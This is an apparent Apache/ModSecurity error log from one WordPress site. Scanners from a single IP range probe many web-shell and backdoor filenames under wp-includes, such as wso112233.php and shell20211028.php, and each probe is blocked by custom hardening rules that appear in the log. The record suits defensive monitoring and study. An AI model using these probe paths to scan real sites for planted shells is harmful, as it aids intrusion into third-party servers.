[Thu Feb 26 14:31:39.375372 2026] [:error] [pid 25311:tid 25330] [client 194.5.82.114:22143] [client 194.5.82.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/button/index.php"] [unique_id "aZ_oy9fdM__yZAgJFSsHBAAAAZA"]
[Thu Feb 26 14:31:40.791917 2026] [:error] [pid 3883:tid 3899] [client 194.5.82.139:40963] [client 194.5.82.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/packed.php"] [unique_id "aZ_ozOA33x90V6yYHaiFNwAAAU0"]
[Thu Feb 26 14:31:44.571063 2026] [:error] [pid 25311:tid 25317] [client 194.5.82.169:36405] [client 194.5.82.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/file.php"] [unique_id "aZ_o0NfdM__yZAgJFSsHEgAAAYM"]
[Thu Feb 26 14:31:45.798344 2026] [:error] [pid 55051:tid 55070] [client 194.5.82.105:31727] [client 194.5.82.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aZ_o0QmK1w2kZvh5eLHu3QAAAJA"]
[Thu Feb 26 14:31:47.081728 2026] [:error] [pid 3883:tid 3893] [client 194.5.82.154:52567] [client 194.5.82.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "aZ_o0-A33x90V6yYHaiFQgAAAUc"]
[Thu Feb 26 14:31:50.077627 2026] [:error] [pid 25311:tid 25331] [client 194.5.82.155:26019] [client 194.5.82.155] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.155, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aZ_o1tfdM__yZAgJFSsHIQAAAZE"]
[Thu Feb 26 14:31:50.567008 2026] [:error] [pid 25311:tid 25317] [client 194.5.82.155:26019] [client 194.5.82.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aZ_o1tfdM__yZAgJFSsHIgAAAYM"]
[Thu Feb 26 14:31:53.863225 2026] [:error] [pid 20419:tid 20428] [client 194.5.82.127:55479] [client 194.5.82.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aZ_o2e3DVDvMfTYYUBWy1AAAAcY"]
[Thu Feb 26 14:31:55.351897 2026] [:error] [pid 20419:tid 20435] [client 194.5.82.136:27515] [client 194.5.82.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-login.php"] [unique_id "aZ_o2-3DVDvMfTYYUBWy1wAAAc0"]
[Thu Feb 26 14:31:58.376780 2026] [proxy_fcgi:error] [pid 55618:tid 55643] [client 194.5.82.105:60565] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:31:59.365050 2026] [proxy_fcgi:error] [pid 55618:tid 55642] [client 194.5.82.105:60565] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:32:00.287621 2026] [:error] [pid 55618:tid 55639] [client 194.5.82.105:60565] [client 194.5.82.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aZ_o4B61Vrh12f_8oWSQkwAAARI"]
[Thu Feb 26 14:32:03.971007 2026] [:error] [pid 3883:tid 3898] [client 194.5.82.170:34231] [client 194.5.82.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/votes.php"] [unique_id "aZ_o4-A33x90V6yYHaiFbQAAAUw"]
[Thu Feb 26 14:32:08.562965 2026] [proxy_fcgi:error] [pid 25311:tid 25338] [client 194.5.82.119:59283] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:32:09.257770 2026] [:error] [pid 25311:tid 25332] [client 194.5.82.119:59283] [client 194.5.82.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/file.php"] [unique_id "aZ_o6dfdM__yZAgJFSsHVgAAAZI"]
[Thu Feb 26 14:32:11.904286 2026] [:error] [pid 25311:tid 25317] [client 194.5.82.120:29339] [client 194.5.82.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/parx.php"] [unique_id "aZ_o69fdM__yZAgJFSsHhgAAAYM"]
[Thu Feb 26 14:32:15.873194 2026] [proxy_fcgi:error] [pid 55618:tid 55635] [client 194.5.82.109:33447] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:32:16.216761 2026] [:error] [pid 55618:tid 55641] [client 194.5.82.109:33447] [client 194.5.82.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/components/about.php"] [unique_id "aZ_o8B61Vrh12f_8oWSQpAAAARQ"]
[Thu Feb 26 14:32:16.775635 2026] [proxy_fcgi:error] [pid 25311:tid 25314] [client 194.5.82.125:39119] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:32:19.490892 2026] [:error] [pid 25311:tid 25323] [client 194.5.82.125:39119] [client 194.5.82.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aZ_o89fdM__yZAgJFSsHmgAAAYk"]
[Thu Feb 26 14:32:22.799306 2026] [:error] [pid 3883:tid 3895] [client 194.5.82.164:37379] [client 194.5.82.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/item.php"] [unique_id "aZ_o9uA33x90V6yYHaiFjAAAAUk"]
[Thu Feb 26 14:32:27.712111 2026] [:error] [pid 55618:tid 55635] [client 194.5.82.163:37869] [client 194.5.82.163] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.163, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pki-validation/wp-login.php"] [unique_id "aZ_o-x61Vrh12f_8oWSQtAAAAQ4"]
[Thu Feb 26 14:32:28.458231 2026] [:error] [pid 55618:tid 55641] [client 194.5.82.163:37869] [client 194.5.82.163] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.163, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aZ_o_B61Vrh12f_8oWSQtQAAARQ"]
[Thu Feb 26 14:32:29.035973 2026] [:error] [pid 55618:tid 55638] [client 194.5.82.163:37869] [client 194.5.82.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/mani.php"] [unique_id "aZ_o_R61Vrh12f_8oWSQtgAAARE"]
[Thu Feb 26 14:32:33.200661 2026] [:error] [pid 25311:tid 25327] [client 194.5.82.114:47251] [client 194.5.82.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "aZ_pAdfdM__yZAgJFSsHuwAAAY0"]
[Thu Feb 26 14:32:35.691971 2026] [:error] [pid 25311:tid 25329] [client 194.5.82.109:53987] [client 194.5.82.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aZ_pA9fdM__yZAgJFSsHxAAAAY8"]
[Thu Feb 26 14:32:38.783652 2026] [proxy_fcgi:error] [pid 25311:tid 25322] [client 194.5.82.127:30747] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:32:39.696714 2026] [proxy_fcgi:error] [pid 25311:tid 25317] [client 194.5.82.127:30747] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:32:40.475947 2026] [:error] [pid 25311:tid 25331] [client 194.5.82.127:30747] [client 194.5.82.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aZ_pCNfdM__yZAgJFSsIGQAAAZE"]
[Thu Feb 26 14:32:43.115269 2026] [:error] [pid 3883:tid 3906] [client 194.5.82.120:62491] [client 194.5.82.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/about.php"] [unique_id "aZ_pC-A33x90V6yYHaiFrAAAAVQ"]
[Thu Feb 26 14:32:45.965309 2026] [:error] [pid 25311:tid 25315] [client 194.5.82.122:62127] [client 194.5.82.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.122, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/wp-login.php"] [unique_id "aZ_pDdfdM__yZAgJFSsIMAAAAYE"]
[Thu Feb 26 14:32:47.295639 2026] [:error] [pid 25311:tid 25337] [client 194.5.82.122:62127] [client 194.5.82.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/file.php"] [unique_id "aZ_pD9fdM__yZAgJFSsINwAAAZc"]
[Thu Feb 26 14:32:48.577163 2026] [:error] [pid 3883:tid 3887] [client 194.5.82.109:46905] [client 194.5.82.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/xBrain.php"] [unique_id "aZ_pEOA33x90V6yYHaiFtAAAAUE"]
[Thu Feb 26 14:32:51.239640 2026] [:error] [pid 25311:tid 25331] [client 194.5.82.146:40579] [client 194.5.82.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aZ_pE9fdM__yZAgJFSsIPgAAAZE"]
[Thu Feb 26 14:32:53.169864 2026] [:error] [pid 55122:tid 55135] [client 194.5.82.160:52827] [client 194.5.82.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aZ_pFYLiR0OfjFxvcN_OJQAAAMs"]
[Thu Feb 26 14:32:57.786692 2026] [proxy_fcgi:error] [pid 3883:tid 3902] [client 194.5.82.106:51743] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:32:58.387315 2026] [:error] [pid 3883:tid 3908] [client 194.5.82.106:51743] [client 194.5.82.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/widgets/about.php"] [unique_id "aZ_pGuA33x90V6yYHaiFyQAAAVY"]
[Thu Feb 26 14:33:00.506134 2026] [proxy_fcgi:error] [pid 55618:tid 55637] [client 194.5.82.163:34371] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:33:06.578824 2026] [:error] [pid 55618:tid 55636] [client 194.5.82.163:34371] [client 194.5.82.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/radio.php"] [unique_id "aZ_pIh61Vrh12f_8oWSQ3wAAAQ8"]
[Thu Feb 26 14:33:14.499807 2026] [:error] [pid 55051:tid 55070] [client 194.5.82.141:20883] [client 194.5.82.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php"] [unique_id "aZ_pKgmK1w2kZvh5eLHvCQAAAJA"]
[Thu Feb 26 14:33:18.066269 2026] [:error] [pid 55051:tid 55076] [client 194.5.82.159:58363] [client 194.5.82.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aZ_pLgmK1w2kZvh5eLHvEQAAAJY"]
[Thu Feb 26 14:33:20.982045 2026] [:error] [pid 25311:tid 25322] [client 194.5.82.131:31953] [client 194.5.82.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/fonts/index.php"] [unique_id "aZ_pMNfdM__yZAgJFSsIaQAAAYg"]
[Thu Feb 26 14:33:25.982090 2026] [:error] [pid 25311:tid 25335] [client 194.5.82.116:25453] [client 194.5.82.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/compat3x/css/index.php"] [unique_id "aZ_pNdfdM__yZAgJFSsIfAAAAZU"]
[Thu Feb 26 14:33:27.672085 2026] [:error] [pid 3883:tid 3890] [client 194.5.82.105:42261] [client 194.5.82.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aZ_pN-A33x90V6yYHaiF_wAAAUQ"]
[Thu Feb 26 14:33:31.070978 2026] [:error] [pid 55122:tid 55144] [client 194.5.82.122:60721] [client 194.5.82.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/about.php"] [unique_id "aZ_pO4LiR0OfjFxvcN_OYgAAANQ"]
[Thu Feb 26 14:33:44.504034 2026] [proxy_fcgi:error] [pid 25311:tid 25333] [client 194.5.82.163:35423] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:33:45.184525 2026] [:error] [pid 25311:tid 25335] [client 194.5.82.163:35423] [client 194.5.82.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aZ_pSdfdM__yZAgJFSsJFgAAAZU"]
[Thu Feb 26 14:33:48.762733 2026] [:error] [pid 25311:tid 25315] [client 194.5.82.154:43521] [client 194.5.82.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/css.php"] [unique_id "aZ_pTNfdM__yZAgJFSsJJAAAAYE"]
[Thu Feb 26 14:33:54.872838 2026] [:error] [pid 55051:tid 55076] [client 194.5.82.130:45893] [client 194.5.82.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wso112233.php"] [unique_id "aZ_pUgmK1w2kZvh5eLHvIwAAAJY"]
[Thu Feb 26 14:33:56.866433 2026] [:error] [pid 3883:tid 3901] [client 194.5.82.131:38901] [client 194.5.82.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/shell20211028.php"] [unique_id "aZ_pVOA33x90V6yYHaiGUAAAAU8"]
[Thu Feb 26 14:33:58.565672 2026] [:error] [pid 54991:tid 55025] [client 194.5.82.159:36855] [client 194.5.82.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/dropdown.php"] [unique_id "aZ_pVt4Zx-mJ8gbRB2iWHwAAAEU"]
[Thu Feb 26 14:34:00.217145 2026] [:error] [pid 20419:tid 20441] [client 194.5.82.155:38545] [client 194.5.82.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/repeater.php"] [unique_id "aZ_pWO3DVDvMfTYYUBWzoQAAAdM"]
[Thu Feb 26 14:34:06.394604 2026] [:error] [pid 55122:tid 55140] [client 194.5.82.139:61279] [client 194.5.82.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/test.php"] [unique_id "aZ_pXoLiR0OfjFxvcN_OlAAAANA"]
[Thu Feb 26 14:34:08.067635 2026] [:error] [pid 25311:tid 25318] [client 194.5.82.154:59849] [client 194.5.82.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "aZ_pYNfdM__yZAgJFSsJVwAAAYQ"]
[Thu Feb 26 14:34:09.470029 2026] [:error] [pid 20419:tid 20429] [client 194.5.82.122:36501] [client 194.5.82.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/options.php"] [unique_id "aZ_pYe3DVDvMfTYYUBWzrgAAAcc"]
[Thu Feb 26 14:34:11.398357 2026] [:error] [pid 20419:tid 20427] [client 194.5.82.125:59213] [client 194.5.82.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/gzdecode.php"] [unique_id "aZ_pY-3DVDvMfTYYUBWztAAAAcU"]
[Thu Feb 26 14:34:12.771574 2026] [:error] [pid 20419:tid 20440] [client 194.5.82.124:42303] [client 194.5.82.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-includes/atomlib.php"] [unique_id "aZ_pZO3DVDvMfTYYUBWzugAAAdI"]
[Thu Feb 26 14:34:14.899626 2026] [:error] [pid 3883:tid 3905] [client 194.5.82.117:52105] [client 194.5.82.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.117, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/images/wp-login.php"] [unique_id "aZ_pZuA33x90V6yYHaiGcQAAAVM"]
[Thu Feb 26 14:34:17.998148 2026] [:error] [pid 3883:tid 3904] [client 194.5.82.117:52105] [client 194.5.82.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/plupload/wp-login.php"] [unique_id "aZ_paeA33x90V6yYHaiGgAAAAVI"]
